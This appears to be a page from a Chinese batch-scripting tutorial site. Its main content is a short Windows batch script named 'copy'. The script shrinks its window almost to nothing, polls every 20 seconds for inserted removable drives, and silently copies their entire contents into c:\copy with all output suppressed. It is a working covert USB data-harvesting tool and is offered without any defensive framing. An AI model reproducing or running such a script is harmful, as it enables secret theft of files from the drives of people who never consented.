codecamp

copy

@echo off

title $$$$*晗*晗*制*造*$$$$

mode con: cols=14 lines=1

:again

cls

del /Q /f "%temp%\copy.tmp" >nul 2>nul

for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"

findstr /i "可移动驱动器" "%temp%\copy.tmp" 

if errorlevel==1 goto end

if errorlevel==0 goto copy 

:end 

rem 没有检测到可移动磁盘!

if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul

%temp%\sleep.exe 20s

goto again

:copy 

if exist c:\copy goto goon

cd\

cd /d c:

md copy  

:goon 

for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (

xcopy /e /y  %%i\*.* c:\copy >nul 2>nul

)

rem 已复制,请及时清理文件!

if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul

%temp%\sleep.exe 20s

goto again


Code Page 的概念及其设置值
delims=和tokens=星号 的差别
温馨提示
下载编程狮App,免费阅读超1000+编程语言教程
取消
确定
目录
set

关闭

MIP.setData({ 'pageTheme' : getCookie('pageTheme') || {'day':true, 'night':false}, 'pageFontSize' : getCookie('pageFontSize') || 20 }); MIP.watch('pageTheme', function(newValue){ setCookie('pageTheme', JSON.stringify(newValue)) }); MIP.watch('pageFontSize', function(newValue){ setCookie('pageFontSize', newValue) }); function setCookie(name, value){ var days = 1; var exp = new Date(); exp.setTime(exp.getTime() + days*24*60*60*1000); document.cookie = name + '=' + value + ';expires=' + exp.toUTCString(); } function getCookie(name){ var reg = new RegExp('(^| )' + name + '=([^;]*)(;|$)'); return document.cookie.match(reg) ? JSON.parse(document.cookie.match(reg)[2]) : null; }